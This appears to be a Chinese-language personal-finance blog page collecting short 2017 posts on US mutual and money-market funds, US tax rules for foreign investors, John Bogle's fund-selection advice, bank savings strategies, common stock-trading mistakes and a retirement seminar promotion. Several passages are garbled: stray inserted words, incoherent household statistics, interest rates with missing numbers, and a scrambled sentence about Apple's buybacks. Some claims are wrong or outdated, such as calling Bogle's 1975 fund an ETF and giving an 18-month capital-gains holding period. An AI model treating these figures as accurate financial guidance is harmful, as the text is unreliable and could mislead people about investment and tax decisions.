        在根据过去的表现对不同基金进行比较时,必须确认这些基金的管理人的投资风格。当然,无论何时都不能忘记的是,历史表现不应视为未来回报的保证。

        美国人投资基金理财给我们带来的重要启示在于理性投资,选择适合自己理财需求的产品,要在投资基金中注意降低成本,实现预期投资收益。而目前国内有些投资者盲目跟风,不关注基金的不同风格和风险因素,要知道历史带给我们的经验和教训是,短期疯狂过后往往会伴随着长期被套的可能性。

        把自己当作企业家来投资

        在基金的投资理念上,美国人比较崇尚股神巴菲特的投资哲学:“买进被市场低估的股票,长期持有以获利”数据显示,美国基金持有人自上世纪80年代牛市以来的平均持有周期是3年〜4年,这反映了美国基金持有人将基金视为理财工具,而非短炒工具,他们通常不会随短期市场波动而频繁进出。

        此外,共同基金对美国公司的运作也具有重要的影响力。美国最大的基金公司富达基金管理着1.25万亿美元的资产,这些钱大部分投到众多的公司股票中,因而富达基金也成为许多上市公司的大股东,并参与董事会的决策正如巴菲特所说:“我们在投资的时候,要将我们自己看成是企业分析家,而不是市场分析师或经济分析师。”

        来源:“赢周刊”

        2017-05-15 / by / in ,
        美国货币基金的发展历史和现状

        美国最早的货币基金是在1971年建立的。当时建立货币基金的初衷是为了规避“Q条例”。当时的Q条例禁止银行对活期存款支付利息,并且对多种银行存款设定了利率上限,这使得商业银行无法使用利率来吸引储户的资金。


        因此,货币基金应运而生,它通过汇拢投资者的资金,然后将这个资金池投向一些短期的证券比如美国的国库券以及一些商业票据等,然后获得的利息收入再回报给投资者,从而成为了银行活期存款的一种替代品。

        我们都知道,货币市场基金的净值总是1美元(在中国是1人民币),但在金融危机期间,美国确实有货币基金的净值跌入了1美元,起因是缘于雷曼兄弟的倒闭,导致货币基金所持有的该公司的债务票据出现了坏账。此消息一度引来货币基金市场的恐慌,部分货币基金甚至出现了挤兑。很快地,美国财政部发布消息,宣布可以让符合要求的货币市场共同基金通过支付一定的费用加入一个类似保险的项目,这个项目能够保证当货币基金跌入1美元净值的时候,把净值恢复到1美元(当然还有对资产上的一些附加条件)。这个项目有点类似于美国的联邦存款保险,此举当时迅速地稳定了货币基金市场。但这个保险机制在2009年市场企稳以后,退出了金融市场。

        目前美国的货币市场利率都处于低位,货币基金也不例外,几乎所有的货币基金的年化收益率都低于1%。

        2017-05-15 / by / in
        美国的私募基金

        私募基金是相对于公募基金而言的一种基金类型。私募基金一般属于合伙人制的小型私人投资公司,主要投资于公开交易的证券和衍生金融产品,是一种风险相对较高的投资基金。


        90年代以来,随着金融全球化趋势的加深和各种投资工具的创新,美国私募基金业获得极大的发展,现在已经成为美国金融领域一支重要力量。格上理财梳理了美国监管层对私募行业的监管历程及相关监管文件,与大家一起分享美国监管层对私募基金的监管方法以及监管政策的发展与演变过程。

        美国私募基金的监管重点

        美国对私募基金的监管基本是从其起步成长期开始的,历史上,美国涉及私募基金监管的法规包括1933年的《证券法》、1940年的《投资公司法》和《投资顾问法案》以及2010年7月签署的《2010年华尔街改革和消费者保护法》,也称为《多德—弗兰克法案》。

        2017-05-15 / by / in ,
        美国人是怎样理财的?

        据了解,美国基金市场主要还是以普通家庭为主要代表,其中有89%的基金持有者为散户,其中所涉及到的资金达到16万亿美元左右,而且其中散户的持有者占比是最高的,已经达到95%,而且一些非金融企业、公司、非营利组织的大多数是机构投资者,而且在美国共同的基金占比仅仅只有11%。


         

        美国人怎样理财?大多数美国人都持有共同的基金,如果按照家庭进行划分,那么既有43%的美国家庭持5360万共同的基金,但是需要提醒的就是这些家庭的年收入总共是8.75万美元,而投资公共的基金中占比只有12万美元,由此可见在1995年-2000年美国家庭总共投资基金其热情是大涨。

         

        在美国一些年收入比较低的家庭往往都没有选择基金,而选择基金最多的乃是高收入家庭,如果是年收入超过有5万美元的家庭,其中就有64%持有一样的基金,而年收入在10万以上或者更高的持有基金比例就是78%,如果低于5万元的家庭那么只有19%持有共同基金。其中,在美国最受欢迎的就是股票型基金,有88%的家庭选择股票型基金,根据数据表明债券型基金和混合型基金的占比分别为42%和35%。

        2017-05-15 / by / in ,
        中国公民购买美国基金等理财产品,需缴税?

        如果是中国公民开设的美股帐户,的投资资本利得的英文不扣税的,其他地方也也一样;只有现金分红或者利息获利要被扣10%的税,但是香港和台湾居民是要扣30%的税。的英文这个美国国税局的统一规定,不会因为换券商而改变,除非那家券商不正规。


        一般美国公民或居民在买卖股票或共同基金时,资本利得都需纳税,其中持有期超过十八个月的系长期资本利得(长期资本收益),税率为百分之十至二持有期少于十八个月的短期资本利得(短期资本收益)则视为一般收入(普通收入),按所得税税率纳缴;但是外国人在投资股票或共同基金时,无论长期或短期资本利得均享有免税优惠。

        外国人投资股票或共同基金所获得的红利,一般是以最高百分之卅的比例扣缴,像是上面所说的顾姓华人住在台湾的弟弟投资美国股票或共同基金的红利,若外国人所属的国家与美国签署有税务协订,则系按照税务协订的优惠税率扣缴,譬如中国是百分之十,加拿大,日本,韩国,印尼,墨西哥,澳洲,英国和德国等都是百分之十五。

        2017-05-15 / by / in ,
        美国人买基金理财和我们有何不同?

        核心提示:由于中美两国在经济与文化方面的差异,在理财方式上的区别也是相当明显的借鉴中美两国不同的理财思路,可以让我们更好地选择理财的方式与产品。本文为您解析了中美两国人在各种投资方式上采取的不同做法,供您借鉴。


        中国人:中青年更偏好开放式基金

        1,“4050”最爱基金投资

        开放式基金已经成为中国主要的投资工具。随着基金行业的发展,基金公司管理的资产规模也在不断上升。根据中国银河证券基金研究中心所发布的数据2010年度60家基金公司管理资产规模达到了25184.54亿元,管理的基金产品达到了781只。和股票投资中自然人账户市值处于1〜万元10万元的比例最高相类似,基金净值10万元以内的个人投资者占比最大。

        2,实现多元化投资组合

        投资者乐于选择开放式基金产品的原因在于,基金专业人员在专业技能上具备优势,购买基金也有利于实现多元化的投资组合。事实上,与股票投资相比,基金投资拥有更广阔的投资范围,除了货币基金,债券基金,股票基金,平衡型基金这一分类外,基金投资涉猎的市场更为广泛。最典型的产品为QDII基金,其将人民币转化为外币投资于海外市场。如QDII基金将投资聚焦于港股,亚洲市场,美国市场等等,在目前国内投资者海外投资渠道限制较多的环境下,QDII基金是最便捷,门槛最低的海外投资方式,利于投资者突破单一地域市场的限制,这一点是国内市场上其他的投资工具难以抗衡的。

        开放式基金已经成为很多投资者必配的投资工具,除了一次性投资外,很多人都签订了定期定额投资的合同,也就是说,以月度为单位定期从账户中扣除一部分资金投资某个基金或是基金组合。在基金的销售渠道中,银行占据了绝对的优势。很大一部分比例的投资者都通过银行渠道进行基金投资。数据显示,银行渠道的基金销售额比例为57.23%,其次是基金公司的直销平台。

        中国基金投资的手续费主要为一次性的申/认购费和赎回费,其中申/认购费用的比率为1%-2%,最低可优惠至0.4%〜0.6%,赎回费的费率水平在0.5%左右。此外,还有基金管理费,这一费用按日从基金资产中计提,目前绝大多数的封闭式基金,股票型基金和混合型基金都是采用1.5%的管理费率,一些指数基金的管理费较低。另外还有基金托管费,绝大多数封闭式基金,股票型基金和混合型基金托管费率为0.25%,部分基金为0.2%,指数型基金的托管费率在0.1%到0.2%之间,保本型基金托管费均为0.2%,债券型基金托管费在0.14%到0.2%,货币型基金托管费全部都是0.1%。

        美国人:买基金可回避高风险

        1,养老金成基金最大投资者

        在美国,民众的投资选择品种很多,包括股票,基金,债券等。相对于股票投资的高风险,民众最普遍的一种投资选择是购买共同基金(Mutual Fund)。共同基金在美国又称为投资基金,是由专业金融从业者管理,向社会投资者公开募集资金以投资于证券市场的营利性的证券投资资金,共同基金购买股票,债券,商业票据,商品以获得利息,股息或资本利得。

        美国人热衷投资共同基金的一个重要原因是能够回避投资股票的高风险。虽然投资股票通常比投资基金能获得更高的收益率,但在资本市场上,风险与收益是息息相关的。一般民众通常对数以千计的股票和债券无所适从,如果购买基金,可以让专业化的投资团队来替自己完成资产的保值和增值,还可以通过组合投资实现投资的多元化,以分散投资风险。调查显示,42%受调查的共同基金持有人表示,因为股市波动风险太大,他们选择比股票更安全的共同基金。

        大多数美国人投资共同基金不是攒起一笔钱后再去投资,而主要是利用退休计划账户,个人退休账户上的资金来购买共同基金。由于退休基金的投资等于是在积累养老钱,所以共同基金的特性更多是一种长期投资,而不是短期行为。美国共同基金的发展,与其养老金体制是密不可分的。自1981年以来,美国社会保障事业中的养老金体制得到迅速发展。员工从其工薪收入中拿出一部分放到个人退休账户里,企业也相应地拿出一定比例的资金放到员工个人的退休账户里。按照美国税收制度,这部分资金享有税收优惠政策,即个人和企业为退休账户缴纳的费用从应纳税基数中扣除掉。所以,一般美国工薪阶层人员会尽可能往其退休账户里多存钱。在参加退休计划的员工中,有59%的人选择了基金投资。调查显示,养老金在共同基金中的资产比例从上世纪90年 初的20%上升到了目前的约40%,成为基金最大的投资者。

        2,种类繁多适应多种需求

        美国共同基金有三大类,它们分别是股票基金,债券和收入基金以及货币市场基金。其中,股票基金主要有7类。快速成长型基金寻求最大的资本成长,现实的收入不是重要的因素,而未来的资本所得才是主要目标,这种基金投资于非主流,非热门股票,以期获得巨大的利润。成长型基金投资在发展前景非常好的公司股票,但风险性比快速成长型要小。成长和收入型基金寻求长期资本成长和现在的收入相结合,这种基金投资于股票的标准是价值的增长和展示出良好,连续的支付红利的记录。贵金属/黄金基金主要投资于与黄金和其他贵金属发生联系的股票。此外,国际基金主要投资于美国以外的公司的股票,全球性综合基金投资于全世界的股票,收入股票基金寻求收入的高等级,主要投资于有良好红利支付记录的公司股票。

        债券和收入基金包涵的种类就更多,其中灵活组合基金允许基金管理者依据市场的变化作出投资股票,债券或是货币市场的决定。余额基金主要投资于能产生现实收入的证券,包括股票和债券。收入债券基金投资于混合的企业和政府债券,美国政府收入债券基金投资于多样的政府债券,包括美国国库券,联邦政府担保抵押证券和其他政府票据等。货币市场基金品种相对较少。应纳税的货币市场基金投资于货币市场中短期,高等级的证券,如美国国库券,大银行的存款证明书和短期商业债券。

        民众可以从共同基金公司直接购买共同基金,也可以通过经纪人公司来购买。如果是直接向基金公司购买,大部分基金是没有申购,赎回费的。而美国人最常见的做法是委托理财专家提供共同基金的资讯,考虑投资组合并决定如何投资。由专业理财专家管理个人在共同基金上的投资,对于不熟悉金融市场的人来说是一种好的选择,不过这需要增加一些费用。每家公司的政策不同,在每次买卖时收取的佣金也不同,最高的可达总金额的7%。

        2017-05-15 / by / in ,
        基金与理财产品

        什么是基金,基金是专家帮你理财。一般情况下买基金到银行或者基金公司都行。银行能代理很多基金公司的业务,具体开户找银行理财专柜办理。现在有些证券公司也有代理基金买卖的。


        基金与理财产品区别大家要做一下自我认识,在买基金前是要高风险高收益还是稳健保本有收益。前一种买股票型基金,后一种买债券型或货币型基金。确定了基金种类后,选择基金可以根据基金业绩、基金经理、基金规模、基金投资方向偏好、基金收费标准等来选择。基金业绩网上都有排名。

        基金与理财产品区别也在与他们的投资方式不一样,一般而言的话,基金的投资方式都是由两种的,单笔投资和定期定额。基金理财更自由些。

        由于基金“定额定投”起点低、方式简单,所以它也被称为“小额投资计划”或“懒人理财”。

        至于基金定期定额投资的话。它们都是具有类似长期储蓄的特点,也就是说能将资金积少成多,也就是平摊投资的成本,然后降低整体得风险。它有自动逢低加码,逢高减码的功能,无论市场价格如何变化,总能获得一个比较低的平均成本,因此定期定额投资可抹平基金净值的高峰和低谷,消除市场的波动性。只要选择的基金有整体增长,投资人就会获得一个相对平均的收益,不必再为入市的择时问题而苦恼。

        看完以上的信息,大家对于基金与理财产品区别都了解吧,还有需要补充一点的就是银行理财产品,时间短,利率比银行同期利率要高。

        2017-05-15 / by / in ,
        理财基金

        理财基金为一种投资工具,证券投资基金把众多投资人的资金汇集起来,由基金托管人(例如银行)托管,由专业的基金管理公司管理和运用,通过投资于股票和债券等证券,实现收益的目的。


        理财基金的投资标的和货币基金很相似。因此很多人都把理财基金和货币基金做对比。主要区别总结如下。(以最早的汇添富理财30天基金为例做比较)。从产品本身来说,理财基金投资品种的久期更长,范围也要广一些。因此理论上其收益是要超过货币基金的,具体情况和理财基金的建仓时间有关。当然,理财基金是定期开放的,流动性还是货币基金比较好。

        理财基金都有一个期限。与银行理财产品到期就赎回的方式比较,理财基金如果到期你不赎回,用户的本息会自动变成理财基金份额,滚动到下一期进行投资,所以不会有类似银行理财产品的收益空白期。另外理财基金主投货币市场,节假日也是有收益的。

         

        2017-05-15 / by / in ,
        买基金 5招教你挑大鱼

        美国共同基金业巨擘先锋(Vanguard)创办人伯格(John Bogle)在1975年推出了全球首档指数型基金(ETF),这位长年倡导低成本基金的投资家表示,费用低廉固然重要,但挑选基金时还要遵守五大原则,低成本只是其中的第一步。


        伯格持续追踪分析,前50大基金绩效与平均「操作费用比」(Expense Ratio)的关系。所谓操作费用比,是以基金一年的经营费用,除以该年度基金的平均资产净值得出。操作费用从基金资产中支出,会降低基金投资人的报酬率,「是挑选基金时最重要的衡量基准」。

        当然,光靠这项标准来选择基金是不够的,还有五大原则必须遵守。

        一、选定单一低费用基金家族:伯格指出,针对单一「低费用」基金管理公司所发行的基金进行挑选,胜过买进不同业者的低费用基金。重点在于,建立投资组合时,一定要从最低费用的篮子里挑选,而一家低费用业者,就能达到这个目的。

        一般投资人常见的错误是,没有经常检查所选基金公司的费用,又因为他人建议或退休计划推荐,就随心地增加一两个高价基金。过半投资共同基金的家庭不止在一家基金公司开户。

        先锋的平均费用确实是业界中最低,但对某些特定族群还有更好的选择。例如USAA及TIAA-CREF,分别对军人家庭及教职人员提供更低廉的基金产品。

        二、长抱就能获利:长期持有才能显出低成本基金的真正价值,时间一旦缩短,绩效再好的基金也不可能持续跑赢大盘,往往回到平均水准。

        伯格利用晨星(Morningstar)的星号评级来衡量低成本基金的绩效好坏。值得注意的是,所有获得五星的基金都具备低费用的特征。根据2008年数据,美股基金中前20%便宜跑赢大盘的机率是56%,反观前20%昂贵的基金,仅34%的机会胜过大盘。

        三、当心额外费用与税负:伯格说,如同赌场的经营者永远是最大赢家,基金公司、投资顾问或券商最会赚钱,投资人无形之中被收取了可观的费用。

        例如DFA(Dimensional Fund Advisors)也以低费用著称,但只透过投资顾问的管道销售,有些业者收取的费用,几乎与高成本基金没两样,大大减损了这档基金的价值。

        此外,基金的周转率与税负息息相关。周转率是指基金资产在一段时间内更替的次数。像Vanguard S&P 500指数基金并不需要经常更换投资标的,周转率仅2.7%,但积极管理型基金Fidelity Magellan Fund的周转率高达71%,交易费用较高,额外税负也高。

        四、别被飞涨的规模给骗了:有些基金近年规模快速成长,但收费也高得吓人,例如摩根大通的基金市占率一年内从1.2%增至1.9%,但无论是产品绩效与操作费用比,都仅位居中段班。

        伯格表示,金融集团的基金部门必须同时对股东与母公司交代,旗下基金的收费自然越高越好,难以兼顾投资人的需求。

        五、谨慎看待专业市场基金:有些投资人对新兴市场基金跃跃欲试,柏格建议,在被动与主动间取得折衷,选择新兴市场指数型基金,但前提是投资人已明白可能的风险。

        对于有兴趣投入主动型基金的人,伯格建议,选择一家由基金经理人自己经营的公司,经理人拥有一套独特的投资策略,并非简单模仿大盘指数选股,而且倾向长线投资。先上网研究基金的前10大持股,最重要的是,绝对要在低费用的池子里进行挑选。

        2017-05-15 / by / in
        美国的共同基金
        在美国买基金其实不是什么难事,只要你有SSN,一般都可以开户,当然具体操作有难易,比如说很多基金公司(包括先锋),都不让外国人直接在网上开户,需要当面或者电话他们的服务代表开户,递交一堆纸质个人信息材料,可能还要填W-4表,所以,实际操作中,我选择了fidelity,美国第二大共同基金管理公司。


        在网上开户完成后,从银行帐户中转钱过去,一般开户是隔天生效,然后转账transaction的确认是第二天,但是在转账操作做好后,虽然钱还没有到帐,但是已经可以进行股票和基金的交易了。
        美国的共同基金种类很多,具体可以参照晨星的分类,比如large blend,large growth,就是国内的所谓大盘成长型,中小盘基金等等,此外还有债券基金,保本基金等等。按照区域投资分,可分为国内投资基金,国际投资基金(哈哈,国内最近很火的QDII就算是此类)。
        一般来说,因为欧美发达国家和日本的股市比较稳定,所以投资风险较小,但是同样,回报率也是比较低(相比中国的疯狂),一般投资美国股市的,在美国这几年的大牛市背景下,一年的收益率大概也就在15%左右,其实这已经是很高了。按照晨星的评级,能够3-5年在这个水平的国内投资基金已经可以评为4-5星级了。
        目前美国的共同基金中,投资回报比较高的有两类,一类是投资拉美股市的,一类是投资亚洲(除日本)外股市的。
        2017-05-15 / by / in , , ,
        富兰克林邓普顿投资基金

        富兰克林邓普顿投资基金 (「本基金」)乃一伞子基金,并包含不同风险范围的子基金,该等子基金投资于股票、固定收益证券、货币市场工具及衍生工具。


        某些子基金可将其总资产净值最高达 100%投资于结构性产品、按揭及资产抵押证券及衍生工具(例如信贷违约掉期、远期合约及期权) ,及可大量地投资于非投资级别的债务证券。该等投资涉及相当程度之流通性风险及交易对手违约的风险,投资者有机会损失其部份或全部的投资。

        某些子基金可投资于发行机构现时没有就其作出利息付款的违约债务证券及投资于现正进行架构重组的公司的证券。该等投资承受相当程度之流通性风险及交易对手违约的风险。

        某些子基金可投资于新兴市场的证券,该等证券承受较高因经济、政治及规管上的变动所带来的风险,这可对子基金构成额外的风险。

        某些子基金可主要投资于单一市场或行业或于小型公司。该等投资承受较高的资金集中风险,并且比其他采取较分散的投资政策的基金为波动。

        某些子基金可广泛地投资于金融衍生工具,以达致对冲及投资目的,可能令子基金承受潜在重大损失,因而涉及交易对手风险及波动性风险。

        某些子基金可能投资于投资基金,因此需承受相关基金的风险。并不保证相关基金: 1) 将经常拥有充足流动性,以在有需要时满足赎回请求 2) 投资目标及策略将可成功达致,鉴于该等子基金无法控制相关基金内的投资。

        某些子基金可在未扣除开支之下分派入息及/或使用酌情权由子基金的资本中支取股息。

        由资本中支取股息等于退还或取回投资者之部分原投资款项或任何归属于原投资款项的资本收益。

        任何股息分派若涉及由子基金的资本中支取股息或实际上由子基金的资本中支取股息(视乎情况而定),可导致每股资产净值实时减少。

        除非销售中介人已向投资者建议此项投资适合投资者,并已解释本基金如何切合投资者的投资目标,投资者不应投资于本基金。

        2017-05-15 / by / in ,
        教你最赚钱的储蓄方法
        储蓄是一个非常重要的理财手段,有些朋友会认为,不就是存钱吗?

        每个月的工资都在银行账户里呢,根本不用管它。这些朋友很少去银行把自己的存款做一个好的规划,一般就把存款放在工资账户里,任其“自生自灭”,经常在工资账户里存了几千甚至上万的存款,殊不知这样的做法并不是我们提倡的合理储蓄方式。第三步就是要告诉大家怎样合理的安排储蓄以及储蓄中的小技巧。


        一笔存款简单地放在银行工资卡里,只能享受很低的活期存款利率,而如果相同的存款改为定期存款将会获得更多的收益,短期看起来似乎差别不大,一般也就几十上百元的出入,但是如果时间一长,再加上利滚利的因素,这两者的收益差距可就不是一星半点了。要知道一点点的细节差距,十几年后会带来质的不同。

        银行基本存款方式及利息介绍

        目前银行一般的人民币存款方式有:活期存款、定期存款(不同存期)、零存整取、定活两便、协定存款、通知存款等等。每种存款方式都有其特点及不同的利息。用户可以根据自己的实际需要对存款方式进行挑选和组合,以求达到方便使用和获取最大收益的目的。

        各种存款方式中活期存款的收益最小,而一年定期存款利率(%)是活期存款利率(%)的6倍多。如果每月用于储蓄的存款用定期存款的方式存起来,坚持几年,你可能会被自己的存款吓一跳哦!

        随着时间长度的增加,活期存款与定期存款的收益,差距会越来越大,倘若本金是10万,那么20年后直接收益差距将达到万元!这还不算这么长时间里万多块钱可能创造的其他收益。想想你每天辛辛苦苦工作8小时也许就只有一两百元的收入,而花一点点时间到银行改变一下存款方式,将会轻松带来更多的收益。看到这里,相信你应该认识到每个月花一点点时间打理储蓄账户的重要性了。

        银行存款使用技巧

        1.12存单法

        每月提取工资收入的10%~15%做一个定期存款单,切忌直接把钱留在工资账户里,因为工资账户一般都是活期存款,利率很低,如果大量的工资留在里面,无形中就损失了一笔收入。每月定期存款单期限可以设为一年,每月都这么做,一年下来你就会有12张一年期的定期存款单。从第二年起,每个月都会有一张存单到期,如果有急用,就可以使用,也不会损失存款利息;当然如果没有急用的话,这些存单可以自动续存,而且从第二年起可以把每月要存的钱添加到当月到期的这张存单中,重新作一张存款单,继续滚动存款。

        12存单法的好处就在于,从第二年起每个月都会有一张存款单到期供你备用,如果不用则加上新存的钱,继续做定期,既能比较灵活的使用存款,又能得到定期的存款利息,是一个两全其美的做法。假如你这样坚持下去,日积月累,就会攒下一笔不小的存款。相信你在每个月续存的时候都会有一份惊喜,怎么样?有成就感吧。

        当然如果你有更好的耐性的话,还可以尝试“24存单法”、“36存单法”,原理与“12存单法”完全相同,不过每张存单的周期变成了两(三)年。这样做的好处是,你能得到每张存单两(三)年定期的存款利率,这样可以获得较多的利息,但也可能在没完成一个存款周期时出现资金周转困难,这需要根据自己的资金状况调整。

        另外,在实行12存单法时,每张存单最好都设定到期自动续存,这样就可以免去多跑银行之苦了。

        2.阶梯存款法

        一种与12存单法相类似的存款方法,这种方法比较适合与12存单法配合使用,尤其适合年终奖金(或其他单项大笔收入)。具体操作方法:假如你今年年终奖金一下子发了3万元,可以把这3万元奖金分为均等3份,各按1、2、3年定期存这3份存款。当一年过后,把到期的一年定期存单续存并改为三年定期,第二年过后,则把到期的两年定期存单续存并改为5年定期,三年后你的3张存单就都变成三年期的定期存单,致使每年都会有一张存单到期。这种储蓄方式既方便使用,又可以享受三年定期的高利息,是一种非常适合于一大笔现金的存款方式。假如把一年一度的“阶梯存款法”与每月实行的“12存单法”相结合,那就是“绝配”了!

        3.巧用通知存款

        通知存款很适合手头有大笔资金准备用于近期(3个月以内)开支的情况。假如手中有10万元现金,拟于近期首付住房贷款,但是又不想把10万简简单单存个活期损失利息,这时就可以存7天通知存款。这样既保证了用款时的需要,又可享受%的利息,这是%的活期利率的近4倍。举例来说,50万元如果购买7天期的通知存款,持有3个月后,以%的利率计算,利息收益为1,688元,比活期存款利息450元,收益高出1,238元;除利息税后,通知存款的收益则要比活期存款高出80%。

        理财提醒:如果投资者购买的是7天通知存款,若投资者在向银行发出支取通知后,未满7天即前往支取,则支取金额的利息按照活期存款利率计算。此外,办理通知手续后逾期支取的,支取部分也要按活期存款利率计息;支取金额不足或超过约定金额的,不足或超过部分按活期存款利率计息;支取金额不足最低支取金额的,按活期存款利率计息;办理通知手续而不支取或在通知期限内取消通知的,通知期限内不计息。关键是存款的支取时间、方式和金额都要与事先的约定一致,才能保证预期利息不会遭到损失。

        4.利滚利存款法

        所谓的利滚利存款法,是存本取息与零存整取两种方法完美结合的一种储蓄方法。这种方法能获得比较高的存款利息,缺点是要求大家经常跑银行,不过看在money的份上,多跑跑银行也是值得的。具体操作方法是:比如你有一笔5万元的存款,可以考虑把这5万元用存本取息方法存入,在一个月后取出其中的利息,把这一个月的利息再开一个零存整取的账户,以后每月把存本取息账户中的利息取出并存入零存整取的账户,这样做的好处就是能获得二次利息,即存本取息的利息在零存整取中又获得利息。年轻的朋友不怕多跑银行的可以试试这个方法。

        存款时的忌讳

        1.少用活期存款

        弊端就是损失利息,前面都详述过,这里就不赘述了。

        2.储蓄存款不宜集中开一张存单

        一张存单金额太大,不仅不安全,如一旦遇到急用,需提前支取其中的一部分,会因此损失一部分利息,办起来也不如分散开几张存单方便与实惠。

        3.储蓄存单不宜和有效身份证件放在一起

        储蓄存单要与身份证、印章等分开保管,以防被盗后犯罪分子支取。

        4.储蓄存款不宜选择太长的期限

        一些人喜欢选择3年或5年期的定期储蓄存款,认为这样利率高。因为目前正处于低息时代,如果选择存期过长,存期内利率调高就会导致减少利息收益。比如:近期央行就提高了存款利率,如果你的存单都是五年期的,就得根据具体情况考虑是要等到期取得利息划算呢,还是赶紧重新存入获取新利率划算。

        来源:新浪

        2017-05-15 / by / in , ,
        炒股绝对不能有的15个坏习惯
        炒股,这15个坏习惯绝对不能有:

        TOP15、大部分投资者不能客观地看待股票。他们总带有主观愿望和喜好。他们凭自己的愿望决策,从而忽视市场的信号。


        TOP14、有些投资者总是举棋不定。他们在决策时不知道自己在干什么,既无计划,又无准则,所以左右为难。

        TOP13、新手往往过多使用限价委托,而不用市价订单。他们过分计较价格,而忽略了大的走势。限价订单会导致脱离市场、该出场时不果断的局面出现。

        TOP12、出于同样的原因,投资者总是很快兑现利润。赚钱的股票总是很快就卖掉,亏钱的总是守着,这与正确的投资程序正好背道而驰。

        TOP11、大部分蹩脚的投资者都守亏损。在损失还小,还合理时他们不愿了断,却一厢情愿地守,直到亏损不断扩大。这是人性的弱点。

        TOP10、大部分投资者找不到好的信息咨询。有的得到好建议也分辨不出,或不能照办。一般的朋友、经纪人或咨询公司都提不出好建议。只有少数已经在股市有所收获的朋友、经纪人或咨询公司提的意见才值得参考。出色的经纪人和出色的大夫、律师一样难得。

        TOP9、98%的人都不敢买价格刚是新高的股票。他们总觉得价格太高。但个人的感觉和想法往往与市场不符。

        TOP8、人们喜欢买名字熟悉的公司的股票。许多好股票公司的名字你可能从未听说,但通过研究却可以发现。

        TOP7、投资者仅仅是看分红高或是价格/收益比率而购买二流股票。分红并不重要。一个公司如果分红太多,它就得外出筹资并为此付出高利息。但一家公司的价格/收益比率低可能是因为它过去一直表现不佳。

        TOP6、许多投资者都喜欢根据内幕、小道消息和某些顾问公司的建议来买股票。他们宁愿听别人的话,拿自己辛辛苦苦赚来的钱去冒险,而不是想办法自己搞个明白。大部分小道消息是假的,即使是真的,股票价格也往往会反着走。

        TOP5、初学者往往想一蹴而就。他们不经过充分的研究和准备,不学习基本技巧,就想大赚特赚。

        TOP4、爱拣便宜的人往往会买一大堆便宜货。两三块钱的股票惹人爱。但如果买一大堆,赔起来也很快。买廉价的股票佣金多付,跌起来比其他股票要快得多。

        TOP3、另一个更坏习惯是,往下而不是往上加买。这一外行投资策略会造成巨大亏损,几次大赔就可能全部输光。

        TOP2、在股票跌的时候买进最容易赔钱。有人专爱拣便宜货,却往往是便宜没好货。

        TOP1、大部分投资者不懂选择好股票的标准,所以入不了门。他们往往盲目地去买第四流的股票。

        来源:股市枭雄

        2017-05-15 / by / in ,
        退休投资 是该退场股市的时候吗?

        8月11日美国三大指数在同日创下历史新高,令投资人相当振奋。不过,美国股市今年的上涨并非一帆风顺的,元月股市的表现甚至是史上最差的。


        许多华尔街专家认为从元月股市的表现可以看出整年股市的表现,也因此许多投资人从年初开始就退场观望。不料股市从二月中开始迅速反弹,六月底时虽然遭遇英国脱欧公投意外通过的乱流稍有回落,但随即强力反弹上扬,在八月初再次创下了历史新高。

        距离2009年3月的低点,牛市已经走了长达近七年半的时间。随着股市逐步的上扬,许多专业机构与名人纷纷开始看坏市场。高盛证券说:“未来三个月避开股票。”美国总统候选人川普说:“我并不看好股票的表现,股票价格已经被联储局的货币政策推得太高了。我曾投资股票,但我已经退出了,我很高兴我这么做!”

        有债券天王美誉的Jeffrey Gundlach在日前接受媒体访问时说:“现在金融市场中,每项资产的价格看起来都不大对劲,我建议投资人卖掉所有的投资!”

        这些看空的论调确实相当耸动,但股市似乎没有因为他们的看坏而开始下跌,甚至在他们发言后还继续创下了新高。是他们的预测并非不准只是还没有到来,或是根本看错了呢?事实上,他们看空的论调其来有自。环顾全球金融情势,变数确实不少:英国脱欧确定、美国总统大选在即、联储局可能升息、中国经济仍然疲弱、油价仍有下跌的压力。

        林林总总的风险,确实让投资人很难乐观。但是,股市仍持续上涨,而银行存款的利率又那么的低,投资人究竟是该继续留在股市还是退场观望呢?

        在网路时代资讯泛滥中,投资人究竟该怎么分析,才能做出独立而正确的判断呢?面对上述这么多的变数,投资人又该如何因应调整,才能让自己的退休投资降低风险,在现在变幻莫测的环境中稳健成长呢?

        8月28日周日下午2时在苗必达(Milpitas)我将举办一场“在变局下如何稳健管理退休投资”的免费讲座,有兴趣参加的读者请上我公司的网站www.new-assets.com 或来电408-520-9558报名参加。座位有限,请尽早报名。

        作者: Rex Chou周威宇,前德意志银行在台湾资产管理公司的CEO,目前为多元投资顾问有限责任公司负责人,常为FM96.1希望之声的“多元投资一点通”与“财通天下”等节目的主讲嘉宾。

        2017-05-14 / by / in ,
        美国企业回购股票意愿降低

        随着美股的持续高涨,美国企业买回自家股票的意愿明显降温。据高盛资料统计,标普500大企业董事会今年授权高管买回自家股票的金额为1460亿美元,同比减少15%,创下2012年最低水位,高管执行买回动作也比去年少了20%。


        企业回购自家股票有助于提升每股盈余,进而促进本益比的降低和股价的上涨,因此美国企业高管近年乐此不疲于买回自家股票,据研究机构绝对策略研究统计,美国企业近5年总共买回了2万亿美元以上的自家股票。

        不过,近两年受到股市高涨和股价本益比偏高影响,企业董事会授权买回的意愿逐渐降低,买回的金额也开始缩减,2016年同比缩减6.3%,2017年则进一步缩减15%。据FactSet的统计,标普500的股价前瞻本益比约为17.6倍,2004年为年以来最高水位。

        尽管企业买回股票的金额缩减,不利股价进一步飙升,但部分专家认为这是一个好现象,因为企业可以更有效运用手上的资金,若能增加产品研发或产能扩充,将有利于企业的长期发展和员工的增聘。

        高盛此前预期今年美国企业买回股票的金额可增长30%,主因是认为一旦美国政府通过海外资金汇回减税后,企业可望汇回1500亿美元回美国,其中大部分资金可能用于回购自家股票。现在,高盛改为预测可增长2%,前提是2017年年底或2018年初美国通过税改。

        苹果公司堪称最爱买回自家股票的美国大企业,该公司拥有2500亿美元现金,过去四年来总共买回自家股票1430亿美元,使其在外流通的股份由66亿股降为53亿股该公司周一(1日)收,降幅高达20%。报146.58美元,今年涨幅高逾26%,本益比达17.55倍。

        2017-05-14 / by / in , , ,
        2017年最值得投资的五类美国股票

        选对股票和买卖时间是股市胜算的秘诀。但2017年无论是政治还是科技都会瞬息万变,让投资人难以决择。这时候,借鉴在市场摸爬滚打数十年的专家的投资意见,不失为是上策。


        日前《今日美国》报导了第21届圆桌会议,其中4位投资专家总结了他们认为2017年值得投资的几类股票,无论整体市场如何变化,这些类股都会有不错的回报。

        长期成长类股:

